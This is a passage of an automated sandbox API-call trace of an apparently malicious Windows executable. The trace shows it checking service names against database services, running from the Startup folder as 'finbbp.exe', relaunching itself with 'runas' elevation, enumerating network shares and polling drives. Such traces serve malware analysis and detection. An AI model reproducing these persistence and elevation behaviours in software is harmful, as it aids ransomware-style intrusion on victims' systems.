(lpString="DeviceAssociationService") returned 24 [0282.433] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0282.433] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0282.433] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0282.433] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0282.433] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0282.433] lstrlenW (lpString="Dhcp") returned 4 [0282.433] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0282.433] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0282.433] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0282.433] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0282.433] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0282.433] lstrlenW (lpString="Dnscache") returned 8 [0282.433] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0282.433] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0282.433] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0282.434] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0282.434] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0282.434] lstrlenW (lpString="DPS") returned 3 [0282.434] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0282.434] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0282.434] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0282.434] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0282.434] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0282.434] lstrlenW (lpString="DusmSvc") returned 7 [0282.434] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0282.434] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0282.434] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0282.434] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0282.434] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0282.434] lstrlenW (lpString="EventLog") returned 8 [0282.434] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0282.434] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0282.434] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0282.434] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0282.434] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0282.434] lstrlenW (lpString="EventSystem") returned 11 [0282.434] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0282.434] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0282.434] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0282.434] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0282.434] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0282.434] lstrlenW (lpString="FontCache") returned 9 [0282.434] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0282.434] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0282.434] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0282.434] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0282.435] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0282.435] lstrlenW (lpString="gpsvc") returned 5 [0282.435] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0282.435] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0282.435] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0282.435] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0282.435] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0282.435] lstrlenW (lpString="iphlpsvc") returned 8 [0282.435] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0282.435] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0282.435] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0282.435] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0282.435] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0282.435] lstrlenW (lpString="KeyIso") returned 6 [0282.435] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0282.435] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0282.435] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0282.435] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0282.435] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0282.435] lstrlenW (lpString="LanmanServer") returned 12 [0282.435] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0282.435] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0282.435] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0282.435] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0282.435] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0282.435] lstrlenW (lpString="LanmanWorkstation") returned 17 [0282.435] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0282.435] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0282.435] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0282.435] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0282.436] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0282.436] lstrlenW (lpString="lfsvc") returned 5 [0282.436] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0282.436] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0282.436] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0282.436] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0282.436] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0282.436] lstrlenW (lpString="lmhosts") returned 7 [0282.436] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0282.436] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0282.436] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0282.436] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0282.436] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0282.436] lstrlenW (lpString="LSM") returned 3 [0282.436] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0282.436] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0282.436] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0282.436] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0282.436] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0282.436] lstrlenW (lpString="MpsSvc") returned 6 [0282.436] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0282.436] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0282.436] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0282.436] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0282.436] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0282.436] lstrlenW (lpString="NcbService") returned 10 [0282.436] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0282.436] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0282.436] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0282.436] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0282.437] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0282.437] lstrlenW (lpString="netprofm") returned 8 [0282.437] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0282.437] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0282.437] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0282.437] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0282.437] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0282.437] lstrlenW (lpString="NgcSvc") returned 6 [0282.437] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0282.437] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0282.437] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0282.437] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0282.437] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0282.437] lstrlenW (lpString="NlaSvc") returned 6 [0282.437] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0282.437] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0282.437] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0282.437] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0282.437] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0282.437] lstrlenW (lpString="nsi") returned 3 [0282.437] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0282.437] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0282.437] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0282.437] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0282.437] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0282.437] lstrlenW (lpString="PcaSvc") returned 6 [0282.437] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0282.437] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0282.437] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0282.437] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0282.438] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0282.438] lstrlenW (lpString="PlugPlay") returned 8 [0282.438] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0282.438] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0282.438] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0282.438] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0282.438] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0282.438] lstrlenW (lpString="Power") returned 5 [0282.438] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0282.438] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0282.438] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0282.438] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0282.438] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0282.438] lstrlenW (lpString="ProfSvc") returned 7 [0282.438] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0282.438] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0282.438] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0282.438] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0282.438] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0282.438] lstrlenW (lpString="RpcEptMapper") Thread: id = 33 os_tid = 0xdbc [0217.106] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10) returned 0x6c5a18 [0217.106] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x70cc60 [0217.106] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10) returned 0x6c5bb0 [0217.106] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6c5bb0, Size=0x20) returned 0x6ad7a0 [0217.106] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10) returned 0x6c5a00 [0217.106] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6c5a00, Size=0x20) returned 0x6ad778 [0217.106] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76dc0000 [0217.114] GetProcAddress (hModule=0x76dc0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76dd6b30 [0217.115] Wow64DisableWow64FsRedirection (in: OldValue=0x25cff20 | out: OldValue=0x25cff20*=0x0) returned 1 [0217.115] lstrlenW (lpString="kernel32.dll") returned 12 [0217.115] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6ad7a0 | out: hHeap=0x670000) returned 1 [0217.115] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0217.115] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6ad778 | out: hHeap=0x670000) returned 1 [0217.115] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x70cc60, nSize=0x7fff | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\finbbp.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\finbbp.exe")) returned 0x47 [0217.118] ShellExecuteExW (in: pExecInfo=0x25cff2c*(cbSize=0x3c, fMask=0x0, hwnd=0x0, lpVerb="runas", lpFile="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\finbbp.exe", lpParameters="-a", lpDirectory=0x0, nShow=1, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x25cff2c*(cbSize=0x3c, fMask=0x0, hwnd=0x0, lpVerb="runas", lpFile="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\finbbp.exe", lpParameters="-a", lpDirectory=0x0, nShow=1, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0)) returned 1 [0281.395] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10) returned 0x4114058 [0281.395] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x4114058, Size=0x20) returned 0x41aac90 [0281.395] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10) returned 0x4113fc8 [0281.395] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x4113fc8, Size=0x20) returned 0x41aaad8 [0281.395] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76dc0000 [0281.396] GetProcAddress (hModule=0x76dc0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76dd6b30 [0281.396] Wow64DisableWow64FsRedirection (in: OldValue=0x0 | out: OldValue=0x0) returned 0 [0281.400] lstrlenW (lpString="kernel32.dll") returned 12 [0281.400] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41aaad8 | out: hHeap=0x670000) returned 1 [0281.400] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0281.400] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41aac90 | out: hHeap=0x670000) returned 1 [0281.400] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x70cc60 | out: hHeap=0x670000) returned 1 [0281.400] lstrlenW (lpString="runas") returned 5 [0281.400] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6c5a18 | out: hHeap=0x670000) returned 1 [0281.400] WaitForSingleObject (hHandle=0x1ec, dwMilliseconds=0x0) returned 0x0 [0281.400] ReleaseMutex (hMutex=0x1ec) returned 1 [0281.400] Sleep (dwMilliseconds=0x1f4) [0282.002] WaitForSingleObject (hHandle=0x1ec, dwMilliseconds=0x0) returned 0x102 [0282.002] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6b30e0 | out: hHeap=0x670000) returned 1 Thread: id = 34 os_tid = 0xdc0 [0217.117] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10) returned 0x6c59e8 [0217.119] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6c59e8, Size=0x20) returned 0x6ad610 [0217.119] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6ad610, Size=0x40) returned 0x6878b0 [0217.119] GetLogicalDrives () returned 0x4 [0217.119] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x6d7000 [0217.120] GetComputerNameW (in: lpBuffer=0x6d7004, nSize=0x270ff64 | out: lpBuffer="NQDPDE", nSize=0x270ff64) returned 1 [0217.120] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1000) returned 0x6c8528 [0217.120] WNetOpenEnumW (in: dwScope=0x3, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x270ff34 | out: lphEnum=0x270ff34*=0x6867a8) returned 0x0 [0217.121] WNetEnumResourceW (in: hEnum=0x6867a8, lpcCount=0x270ff30, lpBuffer=0x6c8528, lpBufferSize=0x270ff38 | out: lpcCount=0x270ff30, lpBuffer=0x6c8528, lpBufferSize=0x270ff38) returned 0x103 [0217.122] WNetCloseEnum (hEnum=0x6867a8) returned 0x0 [0217.122] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x270ff34 | out: lphEnum=0x270ff34*=0x688f50) returned 0x0 [0218.055] WNetEnumResourceW (in: hEnum=0x688f50, lpcCount=0x270ff30, lpBuffer=0x6c8528, lpBufferSize=0x270ff38 | out: lpcCount=0x270ff30, lpBuffer=0x6c8528, lpBufferSize=0x270ff38) returned 0x0 [0218.055] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1000) returned 0x6cd738 [0218.055] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x6c8528, lphEnum=0x270ff08 | out: lphEnum=0x270ff08*=0x686768) returned 0x0 [0218.068] WNetEnumResourceW (in: hEnum=0x686768, lpcCount=0x270ff04, lpBuffer=0x6cd738, lpBufferSize=0x270ff0c | out: lpcCount=0x270ff04, lpBuffer=0x6cd738, lpBufferSize=0x270ff0c) returned 0x103 [0218.068] WNetCloseEnum (hEnum=0x686768) returned 0x0 [0218.068] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1000) returned 0x73dff8 [0218.068] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x6c8548, lphEnum=0x270ff08 | out: lphEnum=0x270ff08*=0x0) returned 0x4b8 [0238.791] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1000) returned 0x41b1398 [0238.792] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x6c8568, lphEnum=0x270ff08 | out: lphEnum=0x270ff08*=0x0) returned 0x4c6 [0238.818] WNetEnumResourceW (in: hEnum=0x688f50, lpcCount=0x270ff30, lpBuffer=0x6c8528, lpBufferSize=0x270ff38 | out: lpcCount=0x270ff30, lpBuffer=0x6c8528, lpBufferSize=0x270ff38) returned 0x103 [0238.818] WNetCloseEnum (hEnum=0x688f50) returned 0x0 [0238.818] GetLogicalDrives () returned 0x4 [0238.818] Sleep (dwMilliseconds=0x64) [0239.776] GetLogicalDrives () returned 0x4 [0239.776] Sleep (dwMilliseconds=0x64) [0240.279] GetLogicalDrives () returned 0x4 [0240.279] Sleep (dwMilliseconds=0x64) [0240.802] GetLogicalDrives () returned 0x4 [0240.818] Sleep (dwMilliseconds=0x64) [0241.920] GetLogicalDrives () returned 0x4 [0241.920] Sleep (dwMilliseconds=0x64) [0242.249] GetLogicalDrives () returned 0x4 [0242.249] Sleep (dwMilliseconds=0x64) [0242.455] GetLogicalDrives () returned 0x4 [0242.456] Sleep (dwMilliseconds=0x64) [0242.584] GetLogicalDrives () returned 0x4 [0242.584] Sleep (dwMilliseconds=0x64) [0242.718] GetLogicalDrives () returned 0x4 [0242.718] Sleep (dwMilliseconds=0x64) [0243.340] GetLogicalDrives () returned 0x4 [0243.340] Sleep (dwMilliseconds=0x64) [0243.621] GetLogicalDrives () returned 0x4 [0243.621] Sleep (dwMilliseconds=0x64) [0244.076] GetLogicalDrives () returned 0x4 [0244.076] Sleep (dwMilliseconds=0x64) [0244.349] GetLogicalDrives () returned 0x4 [0244.349] Sleep (dwMilliseconds=0x64) [0244.631] GetLogicalDrives () returned 0x4 [0244.631] Sleep (dwMilliseconds=0x64) [0244.802] GetLogicalDrives () returned 0x4 [0244.803] Sleep (dwMilliseconds=0x64) [0245.011] GetLogicalDrives () returned 0x4 [0245.012] Sleep (dwMilliseconds=0x64) [0245.481] GetLogicalDrives () returned 0x4 [0245.481] Sleep (dwMilliseconds=0x64) [0246.135] GetLogicalDrives () returned 0x4 [0246.135] Sleep (dwMilliseconds=0x64) [0247.004] GetLogicalDrives () returned 0x4 [0247.004] Sleep (dwMilliseconds=0x64) [0247.458] GetLogicalDrives () returned 0x4 [0247.458] Sleep (dwMilliseconds=0x64) [0248.426] GetLogicalDrives () returned 0x4 [0248.426] Sleep (dwMilliseconds=0x64) [0248.639] GetLogicalDrives () returned 0x4 [0248.639] Sleep (dwMilliseconds=0x64) [0248.904] GetLogicalDrives () returned 0x4 [0248.904] Sleep (dwMilliseconds=0x64) [0249.115] GetLogicalDrives () returned 0x4 [0249.115] Sleep (dwMilliseconds=0x64) [0249.296] GetLogicalDrives () returned 0x4 [0249.296] Sleep (dwMilliseconds=0x64) [0249.521] GetLogicalDrives () returned 0x4 [0249.521] Sleep (dwMilliseconds=0x64) [0249.871] GetLogicalDrives () returned 0x4 [0249.871] Sleep (dwMilliseconds=0x64) [0250.436] GetLogicalDrives () returned 0x4 [0250.436] Sleep (dwMilliseconds=0x64) [0250.630] GetLogicalDrives () returned 0x4 [0250.630] Sleep (dwMilliseconds=0x64) [0250.964] GetLogicalDrives () returned 0x4 [0250.964] Sleep (dwMilliseconds=0x64) [0251.285] GetLogicalDrives () returned 0x4 [0251.285] Sleep (dwMilliseconds=0x64) [0251.587] GetLogicalDrives () returned 0x4 [0251.587] Sleep (dwMilliseconds=0x64) [0251.982] GetLogicalDrives () returned 0x4 [0251.982] Sleep (dwMilliseconds=0x64) [0252.613] GetLogicalDrives () returned 0x4 [0252.613] Sleep (dwMilliseconds=0x64) [0253.077] GetLogicalDrives () returned 0x4 [0253.077] Sleep (dwMilliseconds=0x64) [0253.279] GetLogicalDrives () returned 0x4 [0253.279] Sleep (dwMilliseconds=0x64) [0253.451] GetLogicalDrives () returned 0x4 [0253.451] Sleep (dwMilliseconds=0x64) [0253.668] GetLogicalDrives () returned 0x4 [0253.668] Sleep (dwMilliseconds=0x64) [0253.776] GetLogicalDrives () returned 0x4 [0253.776] Sleep (dwMilliseconds=0x64) [0253.885] GetLogicalDrives () returned 0x4 [0253.885] Sleep (dwMilliseconds=0x64) [0254.002] GetLogicalDrives () returned 0x4 [0254.002] Sleep (dwMilliseconds=0x64) [0254.116] GetLogicalDrives () returned 0x4 [0254.116] Sleep (dwMilliseconds=0x64) [0254.238] GetLogicalDrives () returned 0x4 [0254.238] Sleep (dwMilliseconds=0x64) [0254.348] GetLogicalDrives () returned 0x4 [0254.348] Sleep (dwMilliseconds=0x64) [0254.458] GetLogicalDrives () returned 0x4 [0254.458] Sleep (dwMilliseconds=0x64) [0254.610] GetLogicalDrives () returned 0x4 [0254.610] Sleep (dwMilliseconds=0x64) [0254.814] GetLogicalDrives () returned 0x4 [0254.814] Sleep (dwMilliseconds=0x64) [0255.168] GetLogicalDrives () returned 0x4 [0255.168] Sleep (dwMilliseconds=0x64) [0255.334] GetLogicalDrives () returned 0x4 [0255.334] Sleep (dwMilliseconds=0x64) [0255.699] GetLogicalDrives () returned 0x4 [0255.699] Sleep (dwMilliseconds=0x64) [0256.033] GetLogicalDrives () returned 0x4 [0256.033] Sleep (dwMilliseconds=0x64) [0256.321] GetLogicalDrives () returned 0x4 [0256.322] Sleep (dwMilliseconds=0x64) [0256.692] GetLogicalDrives () returned 0x4 [0256.692] Sleep (dwMilliseconds=0x64) [0257.114] GetLogicalDrives () returned 0x4 [0257.114] Sleep (dwMilliseconds=0x64) [0257.281] GetLogicalDrives () returned 0x4 [0257.282] Sleep (dwMilliseconds=0x64) [0257.888] GetLogicalDrives () returned 0x4 [0257.888] Sleep (dwMilliseconds=0x64) [0258.558] GetLogicalDrives () returned 0x4 [0258.558] Sleep (dwMilliseconds=0x64) [0258.813] GetLogicalDrives () returned 0x4 [0258.813] Sleep (dwMilliseconds=0x64) [0259.610] GetLogicalDrives () returned 0x4 [0259.610] Sleep (dwMilliseconds=0x64) [0259.841] GetLogicalDrives () returned 0x4 [0259.841] Sleep (dwMilliseconds=0x64) [0260.088] GetLogicalDrives () returned 0x4 [0260.088] Sleep (dwMilliseconds=0x64) [0260.350] GetLogicalDrives () returned 0x4 [0260.350] Sleep (dwMilliseconds=0x64) [0260.625] GetLogicalDrives () returned 0x4 [0260.625] Sleep (dwMilliseconds=0x64) [0260.806] GetLogicalDrives () returned 0x4 [0260.806] Sleep (dwMilliseconds=0x64) [0260.966] GetLogicalDrives () returned 0x4 [0260.966] Sleep (dwMilliseconds=0x64) [0261.155] GetLogicalDrives () returned 0x4 [0261.155] Sleep (dwMilliseconds=0x64) [0261.489] GetLogicalDrives () returned 0x4 [0261.489] Sleep (dwMilliseconds=0x64) [0261.853] GetLogicalDrives () returned 0x4 [0261.853] Sleep (dwMilliseconds=0x64) [0262.148] GetLogicalDrives () returned 0x4 [0262.148] Sleep (dwMilliseconds=0x64) [0262.272] GetLogicalDrives () returned 0x4 [0262.272] Sleep (dwMilliseconds=0x64) [0262.636] GetLogicalDrives () returned 0x4 [0262.636] Sleep (dwMilliseconds=0x64) [0262.843] GetLogicalDrives () returned 0x4 [0262.843] Sleep (dwMilliseconds=0x64) [0263.232] GetLogicalDrives () returned 0x4 [0263.232] Sleep (dwMilliseconds=0x64) [0263.861] GetLogicalDrives () returned 0x4 [0263.862] Sleep (dwMilliseconds=0x64) [0264.256] GetLogicalDrives () returned 0x4 [0264.257] Sleep (dwMilliseconds=0x64) [0264.638] GetLogicalDrives () returned 0x4 [0264.638] Sleep (dwMilliseconds=0x64) [0264.969] GetLogicalDrives () returned 0x4 [0264.969] Sleep (dwMilliseconds=0x64) [0265.366] GetLogicalDrives () returned 0x4 [0265.366] Sleep (dwMilliseconds=0x64) [0265.801] GetLogicalDrives () returned 0x4 [0265.801] Sleep (dwMilliseconds=0x64) [0266.133] GetLogicalDrives () returned 0x4 [0266.133] Sleep (dwMilliseconds=0x64) [0266.431] GetLogicalDrives () returned 0x4 [0266.431] Sleep (dwMilliseconds=0x64) [0266.686] GetLogicalDrives () returned 0x4 [0266.687] Sleep (dwMilliseconds=0x64) [0267.131] GetLogicalDrives () returned 0x4 [0267.131] Sleep (dwMilliseconds=0x64) [0267.571] GetLogicalDrives () returned 0x4 [0267.571] Sleep (dwMilliseconds=0x64) [0268.052] GetLogicalDrives () returned 0x4 [0268.052] Sleep (dwMilliseconds=0x64) [0268.336] GetLogicalDrives () returned 0x4 [0268.336] Sleep (dwMilliseconds=0x64) [0268.563] GetLogicalDrives () returned 0x4 [0268.563] Sleep (dwMilliseconds=0x64) [0268.773] 